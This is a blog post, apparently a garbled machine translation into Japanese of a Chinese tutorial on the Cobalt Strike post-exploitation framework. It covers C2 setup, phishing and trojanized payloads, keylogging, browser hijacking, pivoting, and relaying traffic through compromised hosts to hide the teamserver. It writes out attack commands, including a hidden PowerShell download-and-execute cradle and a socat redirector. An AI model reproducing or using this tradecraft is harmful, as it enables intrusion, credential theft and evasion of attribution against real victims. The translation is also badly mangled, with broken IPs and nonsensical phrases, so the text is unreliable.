2000P's Blog

最初のページ

cobalt strike手っ取り早い[一]

著者 gardner 時間 2020-04-10
all

0 x 01 Cobalt Strikeについて

1

2

3

非常に優秀なポスト浸透プラットフォームです。使いにくいという唯一の原因は、多くの用法がまだ自分で掘り出されていないからです。使えないから、使いにくいということです。

ツールはjavaに基づいて、大部分の機能は改善の基礎の上でやはり比較的に実用的で、とてもチーム間の協同作戦に適します。

詳細は自分で公式サイトを参考にしてください。ここではうるさくないです。以下は全部csといいます。

0 x 02基礎環境概要:

1

2

3

4

5

カリ実際制御端ip:192.168.144

uuntu 16.04自分のネットのvps ip:53.3..6

win 2008 R 2ターゲットマシンip:192.168.191

centos 6.9已控肉鸡ip:192.168.199

win 7 cnもう一つの肉鶏ip:192.168.123

0 x 03は先に来てcsの最も基本的ないくつかモジュールの具体的な用途をプレビューします。

チームサーバ[teamserver]

1

2

3

4

主に一つの浸透チームの内部において、適時に全員の浸透情報を共有し、メンバー間の交流と協力を強化し、浸透効率を向上させるためです。

つまり、通常の状況ではチームサーバーを作るだけでいいです。チームのメンバーは自分のcsクライアントを持ってグループサーバに登録するだけで、共同作戦が簡単に実現できます。

もちろん、実際にはできるだけ長く住めばいいという目的のマシンの権限を維持するために、また慣れたチームサーバを複数開設して、意外な状況が発生しないようにします。

また、コミュニティサーバは、Linuxプラットフォーム上で実行することが望ましい。

1

2

铅./teamserverチームサーバipは、チームサーバのパスワードを設定します。「他の人がこのパスワードを使うと接続できます。」設定ファイル[一般的なデフォルトでOK]、[YYY-M-DD]

ヽ.teamserver 53.3.36 klion

クライアント[cobaltstrike]はより良い説明効果のために、ここでは二つの異なるクライアントをシミュレーションして同時に同じチームサーバに登録します。まず、本機でクライアントを実行してチームにログインしようと試みます。クライアントが起動したら、チームウェアのip、ポートとパスワードを入力するように注意します。ユーザー名は自由に使えます。

1

ヽoo。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

続いて、もう一台のカリマシンでクライアントを開いて同じチームサーバにログインして、最終的に実現した効果は以下の通りです。チームメンバーはイベントを通じてお互いに交流できます。また、イベントを通じて、チームの中の他のメンバーがいつ何をしているかをはっきり見ることができます。

1

ヽoo。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

csの各種モニターを使う

1

2

実は、モニターの役割は簡単です。主にパスバックの各種データを受け取るために、

例えば、私達のパスロードはターゲットマシンの実行後、モニターに接続してから本物のshellcodeコードをダウンロードして実行します。実はmsfの中でhandlerの役割とほぼ同じです。

csのモニターは二つあります。一つはbeaconで、もう一つはforeignです。

1

2

beaconはcsのためにモニターを内蔵しています。つまり、ターゲットシステムがpayloadを成功裏に実行した後、beaconのshellをcsに戻します。このshellがサポートしている通信プロトコルは主にこれらの種類が含まれています。dns、https、smb[pipe]また、beacon shellの内蔵機能も非常に多いです。後で詳しく説明します。

foreignは主に外部に提供するいくつかのモニターです。たとえば、csを利用して一つのmeterpreterのshellに派生して戻ってきて、後のイントラネットの浸透を続けたいなら、外部のモニターを使うことにします。

また、簡単なデモを行います。どうやってモニターを素早く作成しますか?具体的なプロセスは以下の通りです。

1

2

3

4

左上のCobalt Strikeメニューをクリックしてください。

->Listenersを選択

->次にAddボタンを押すと、モニターの設定ボックスから自動的に飛び出します。

->ポートip[実際にはドメイン名(dnsトンネル)とパスロードタイプを設定すれば作成できます。その後、チームサーバはこのポートをずっとモニターしています。

モニターを言い終えて、最後に、私達は更にpayload[攻撃負荷]を言います。

1

2

はっきり言えば、トロイの木馬のダウンロード器です。ターゲットがパyloadを触発したら、自動的にshelcodeをダウンロードします。

beacon shellで実行されるコマンドは計画どおりに実行されます。つまり、制御された側は事前に定められた時間に自動的に制御されて、各種コマンドをダウンロードして、順番に対象システムで実行されます。

まず、簡単にパスロードを作成して、目的システムに直接投げて実行します。実際のオンライン効果はどのようなものですか?注意してください。ここに赤い爪を持っているのはシステムの最高権限を持っています。爪がないのは基本的にシステムの権限がまだ低いです。

0 x 04の豊富なクライアントの攻撃オプションは、まず、「System Profiler」モジュールを利用して、ターゲットの各種マシン情報を収集してみます。例えば、ターゲットのどのバージョンの操作システムですか?目測では、ターゲットのイントラネットがどれぐらい大きいかを推測します。これらの基礎情報があれば、後期には性に対する手紙を発信できます。それとも、その言葉が一番いいですか?ここは実験ですから、直接使うipです。発信する時は)装丁を使ったほうがいいです。ここはまだ関連していません。へへ…簡単に実際の効果を見せます。

htta payload'を使ってファイルのダウンロード'モジュールを使って目的に各種の釣りリンクを送ります。まず、httaのpayloadを作成します。ここのpayloadはとりあえず三つの実行可能なフォーマットしかサポートしていません。exe、powershellとvba(マクロ)、実際にはもっとパワーシェルを使うことを勧めます。成功率は比較的高いです。

1

http://53.3..6:80/download/plugins.htta

各言語に基づくshellcodeを生成します。例えば、c、cxi、java、python、パワーシェル、ruby、raw、また、csはveilと直接に協力できるオプションを提供しています。ここはやはり最も実用的なパワーシェルを例にして、作成してから、シナリオを目標システムにロードしたいです。ここで直接的にcmdにロードします。実際にこのコードを単独で引き出して、psを実行できるところに置いてもいいです。

1

癜powershell–exec bypass–Command'&{Import-Module'C:\payload.ps 1'}

officeマクロを使って釣りをしようとしますが、直接にこのようにすることを勧めません。officeはデフォルトではマクロを使わないです。でも、いくつかの爆発した比較的新しいoffice 0 dayを利用してみてください。普段は自分でofficeを使って、必ずデジタルビザなしのマクロを無効にしてください。vbaを信頼してはいけません。

正常なexeにpayloadを埋め込む試みですが、縛り終わったらexeアイコンが変更されるかもしれません。元のputty.exeのアイコンを差し引きしてみてください。その後、よく処理してください。その後の問題はあまり大きくないです。正常なプログラムが終わったら、下記の図からはっきりと見られます。私達のパスロードも一緒に実行されました。

伝統的なusbを生成してから、payloadを実行します。これは直接csで生成できますが、殺さないようにします。自分で処理した馬を使ってください。

通常のexe payloadを生成するのは簡単です。どのモニターにかけるかを指定して、命中率の高い名前を保存してください。生成した実行可能ファイルを対象機器に捨てて実行してください。とても簡単です。ここでは煩雑ではありません。

クローンターゲットのウェブサイトは性の対象となります。クローンしたいサイトを提供して、自分のurlを作ってください。そして、あなたが実行するパスロードを持ってきてください。ここのパスロードは直接msfで生成できます。httaを使ってもいいです。もちろん、実際にこのパスロードはきっと丁寧に処理しました。やはりその言葉は実際に手紙を書くのが一番いいです。

「PowerShell Web Delivery」は、みんなが普段使っている最も多い機能モジュールかもしれません。実は、msfのwebudeliveryモジュールに相当しています。shelcodeコードを生成して、ダウンロード機を提供します。このダウンロード機を任意のpowershellを実行して、正常にインターネットを接続できるところに差し込むことができます。例えば、典型的なchm、ショートカット…実験だけなので、ターゲットシステムのcmdに直接投げて実行しました。

迷惑メールを送ります。まず目的のメールを一つのファイルに入れてください。「注意してください。一行に一つずつ対応してください。」そして釣りに使うメールを探してください。手紙を書き終わったら、まずプレビューを見てから、メールを送るための公共メールサーバーを配置します。ここではプロトンメールサーバーを使って送りたいです。その後、暗号化のために、従来のIMAP、POP 3、SMTPはまだサポートされていないという公式見解を見ましたが、ここではまずプレゼンテーションをしません。とても簡単です。実際には分かりません。私は信じてもいいです。また、実際にお持ちの匿名のメールアドレスを使って、「とにかくプライベートな情報を漏らさない限り、追跡されやすいメールアドレスでも大丈夫です」と送ることが大切です。覚えてください。図は間違えたようです。汗…みんなが私の意味を分かってくれればいいです。

通常のjava攻撃は、バージョンの制限があります。証明書を買いたいです。実際に浸透しています。これらは基本的に十分です。

0 x 05は上記のような方法によって、この時点であなたはすでにbeaconのshellを手に入れたと信じています。以下では、beacon shell自身の基本的な使用について詳しく説明します。まず、私達が持っているのはbypassがuplcを落とす前の'管理者'の権限を持っていないbeacon shellであると仮定して、後の基本的な操作を行います。事前にcsの中国語へのサポートがよくないと説明してください。もし目標が中国語システムなら、文字化けがあるのは間違いないです。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19。

20

21

22

helpはbeacon shellのすべての内蔵コマンドを参照してください。指定されたコマンドの使い方を確認したいなら、このようにしてもいいです。eg:help checkin

ノートは現在のカタログマシンに名前をつけます。eg:note beacon-shell

cdはターゲットシステムでディレクトリを切り替えます。winシステムでディレクトリを切り替えるにはダブルバックスを使うか、あるいは直接'/'eg:cd:\\

mkdir新規カタログ、eg:mkdir d:\beacon

rmファイルまたはディレクトリを削除します。eg:rm d:\beacon

アップロードしたファイルをターゲットシステムにアップロードします。

downloadターゲットシステムから指定ファイルをダウンロードします。eg:download C:\Users\win 7 cn\Desktop\putty.exe

cancelはダウンロードジョブをキャンセルします。例えば、ファイルが大きいと、ダウンロードに時間がかかります。途中で降りたくないなら、これでキャンセルしてもいいです。

shellは、ターゲットシステムで指定されたcmdコマンドを実行し、eg:shell whomi

getuidは現在のbeaconセッションのターゲットシステムにおけるユーザ権限を確認します。bypassucまたは権利取得が必要かもしれません。

pwdは現在のディレクトリシステムのパスを表示します。

lsは現在のディレクトリのすべてのファイルとディレクトリを一覧表示します。

drivesリストからターゲットシステムのすべてのパーティション[winの中でディスクと呼びます]

ターゲットシステムの現在のプロセスのすべてのリストを調べます。

キル殺指定プロセス、eg:キル4653

sleep 10は被控端のスリープ時間を指定して、デフォルトでは60秒に一回フィードバックして、被控端に10秒ごとに一回の任務をダウンロードさせます。実際には、周波数が速すぎないようにします。発見されやすいです。80回ぐらいでいいです。

jobsはすべてのタスクリストを一覧表示します。一部のタスクの実行時間は少し長いかもしれません。この場合、タスクリストからその対応する具体的なタスクIDを見ることができます。

jobkillタスクが何かの原因で長時間実行されていないか、または異常がある場合は、このコマンドを試して直接にこのタスクを終了します。eg:jobkill 1345

clear beacon内部のジョブキューをクリアします。

checkinは強制的に被控端を一回に戻します。

exit現在のbeaconセッションを終了します。

ctrl+kクリーン画面

0 x 06ターゲットマシンに関する各種情報を収集する。

1

ターゲットシステムに通常のキーボード記録を配置し、eg:keylogger 1796 x 86

1

ターゲットシステムでスクリーンショットをしようとすると、ターゲットシステムが明らかになってしまうかもしれません。eg:screenshot 1796 x 86 10は10秒を切り取ります。

1

2

3

4

ウェブエージェントを利用して、転送先のブラウザのプロセスデータを指定されたポートにハイジャックしてからこのポートを訪問すると、ターゲットを持っているブラウザのデータアクセスに相当します。

例えば、スクリーンを通して、彼があるアカウントのパスワードが必要なサイトにログインしていることを発見しました。ブラウザの代行を通じて、彼が登録したサイトに直接ログインすることができます。

公式はしばらくIEに対して使うだけと言って、その上まだ不安定で、成功率の半分でしょう、dumpプロセスのデータの原因であると推定して、dumpは瞬間的にターゲットブラウザの巨カードをもたらすかもしれません。

しかし、この考え方は非常に良いと言わざるを得ません。ただ、機能だけが現在やっている「ここで著者を拝めば、大字の賛辞」は、まだ完璧ではないので、窮地に陥った場合は試してみてもいいです。

1

2

browserpivot 1460 x 86

browserpivot stop

ドメインに関連するモジュールが浸透していますが、実際には、もしドメイン内に浸透していたら、しばらくはこのようにしなくてもいいです。

1

2

3

カーバーオシカーはcacheファイルから手形を導入します。

ケバロスコープは現在のshellの手形をクリアします。

ケバロスコープは、ticketファイルからチケットを導入します。

0 x 07は各種パワーシェル浸透フレームを通してcsの実用性を高めています。例えば、nishang、emppire、PowerSploit、パワーアップ、Sherlock…続いて、権利を持って、bypassuc、dllは注入して、hashをつかんで、pth…同じような使い方ですか?それともその脚本の中で、各種のパワーシェルの枠組みの具体的な使い方について、ブログ関連の文章に注目してください。ここでは一つ一つ発表しないで、簡単に使い方を説明します。もちろん、beacon shell自身も類似の機能を提供しています。特にwin内ネットワークの浸透の中で、できるだけ全部パワーシェルで第一の方式をやることをオススメします。beacon shellに外部のpsスクリプトを導入してリモートマシンに行きます。

1

2

powershell-inmport/root/Desktop/Get-Informations.ps 1

パワーシェルGet-Information

第二の方式は、beacon shellにおいて直接パワーシェルコードを実行する。

1

powerpick Get-Host

0 x 08 csを利用して目標のイントラネットを柔軟に貫きます。

対象機器の内部ネットワークを通常のポートスキャンし、ipセグメントを指定し、スキャンに使用するプロトコルを指定します。「しばらくはarp、icmp、tcpのみをサポートします。」

1

ポルックス192.168.1.0/24-6000 arp 10

becon shellに内蔵されているポート転送機能は、本機のあるポートを公衆網またはイントラネット指定機器のあるポートに転送します。実際に使う時の速度は確かに遅いです。そして、よく切れます。原因はまだ分からない

1

2

rportfwd 389 192.168.181 3389

rportfwd stop 389

csとmsfを相互に連動させて使用し、相手機器にsocks 4 aエージェントをオープンさせ、さらに内部網の浸透を促進する。

第一に、各種のsocksを利用してクライアントを代行して直接に各種類の浸透ツールをターゲットのイントラネットに持ち込みます。

1

beacon>socks 1234

1

2

3

〹vi/etc/proxychains.com nf

socks 4 53.3.36.1234

ヽoo。ツ

第二に、直接にトンネルを利用して、msfをターゲットのイントラネットに持ち込みます。

1

setg Proxies socks 4:53.3.6:1234

beacon shellを利用してイントラネットのlinuxマシンを接続します。

1

ssh 192.168.1.199:22 root admin

beaconトンネルから直接派生したmeterpreterのshell[vpsではなく、直接にbeaconトンネルを通ってきます]という流れが簡単です。まず、グループサーバでポート転送をして、外部モニターを作成し、ポートとip書き込みbeacon shellのマシンがあるipを作成して、対応するbeacon shellの中で'spawn'を選択して作成した外部モニターです。まだ問題があります。よく解決されていません。後で単独で言います。

msfを利用してbeacon shellを跳ね返す方法はたくさんあります。一番簡単な方法はbeaconのpayloadのコードをそのまま実行すればいいです。また図面を忘れてしまいました。汗…後はまた足しましょう。

0 x 09は従来のポートに合わせて転送し、できるだけ自分のチームサーバを隠します。

1

2

3

時には耳目を混乱させるために、他の人に素早く遡られないようにします。中にいくつかのジャンプ板を入れて、できるだけ私達の真実なチームサーバの位置を隠します。どうすればいいですか?実は簡単です。

ホワイトポイントはポート転送をするということです。もちろん、このポート転送は自分の持っている鶏肉に「匿名の重要性について議論する」ということです。

もしあなたが本当に不安なら、同時に複数の鶏肉にマルチ転送をしてみてもいいです。これによって相手を惑わせ、相手の遡及の難しさを高めることができます。

1

2

3

4

まだいくつかの目标の中のネットの中のいくつかの机械は正常にネットに接続することができないので、ネットの机械の间で相互にアクセスすることしかできません。

これは私たちがすぐに話したいポート転送を使います。具体的には何を使うかというと、自然に多くなりますが、例えば、netsh、iptables、socatなどのシステムの持ち込みツールを優先して行うことをオススメします。

こんにちは、私もいいです。

以下はsocatを使って簡単にデモします。どうやって自分のチームサーバーを隠すかは、ネットのオフラインマシンについても同じです。みんな自分で試してみてください。

まず、kaliにcsクライアントで私達のチームサーバに登って、正常な80ポートのモニターを作成します。ここでの連ipは一旦vpsのある本物のipを直接使用します。

続いて、鶏肉の上でsocatで転送を開始します。外部からの80ポートの流量を公網vpsの80ポートに転送します。その後、肉鶏の現地の80ポートはずっと傍受状態になります。80ポートは流量があると自動的にvpsの80ポートに転送されます。vpsの80ポートはちょうど私達のモニターポートです。あなたが分かると信じています

1

獝socat tcp-listen:80、reuseaddr、fork tcp:53.3..6:80

この時、csクライアントに戻って適当にpowershell payloadを作成します。注意してください。前に述べたように、これはpowershellダウンロード器です。主に本物のshellcodeコードをダウンロードします。後ろのipを肉鶏のipに変更したいです。なぜなら、私たちの最終的な目的は肉鶏を通じて私たちの本当のチームサーバに転送することです。

ここに注意して、デフォルトで生成した後、それは私達自身のチームサーバが解析したドメイン名です。実際には必ず手動で鶏肉のドメイン名またはipに変えてください。このようにダウンロードして訪問すると、まず肉鶏に訪問します。コードまで全部打ってないです。もういいです。どうせvpsはもうすぐ期限が来ます。ゲリラをするのは慣れました。^_^

1

萼powershell.exe-nop-w hidden-c「IEX(new-object net.webclient).down loadstring('http:

最後に、私達は目標が正常にオンラインされていることを見ました。目的のネットに正常に接続できないマシンも正常にオンラインできるようにするのは同じです。パスロードを内部ネットワークのどのマシンにも跳ね返すことができます。そして、そのマシンに行って弾きた流量を私達のチームサーバに回してください。これでネットの中でインターネットを利用することができない機械も同様に正常にオンラインすることができます。

0 x 10はdnsトンネル通信及びsmb beacon通信プロセスを深く理解し、これはツール全体の最も核心的なところの一つであるかもしれません。

0 x 11牛逼の報告生成機能についてはここでは言いません。1ボタンでpdfをエクスポートします。実際に浸透する過程での操作記録データは全部指定されたカタログに保存されています。みんな興味があります。自分で研究してもいいです。比較的簡単です。結局ここの重さではないので、くどいです。

少し小さい結び目:みんなも見ました。道具そのものについてはとても簡単で、図形化された操作で、少し基礎があります。すぐに上手になります。そして、直接にアイコンを支持します。柔軟に引っ張ります。指定された鶏肉をまとめて大量に操作しやすくて、とても友好的です。実際にmsfとcsを合わせて内部網の浸透を行います。本当の難点はまた違った契約のbeacon shell通信過程の理解にあります。これも個人的には工具全体の一番価値のあるところだと思います。実は、その内部の通信の詳細については、多くの問題が今でも私を悩ませています。cs自体はとても素晴らしい学習サンプルだと思います。一人でできるというわけではないです。私と同じように、決して道具の基本的な使い方だけで満足しているわけではないと思います。実は、心の中ではよく知っています。基本的には実質的な進歩はないです。時間が多くないので、無駄にはならないので、皆さんとの深い交流も楽しみにしています。そうだ、cs 3.8ももう出てきました。新鮮なものを食べたい友達は試しに行ってもいいです。試用期間を延長するのはまだ古い方法です。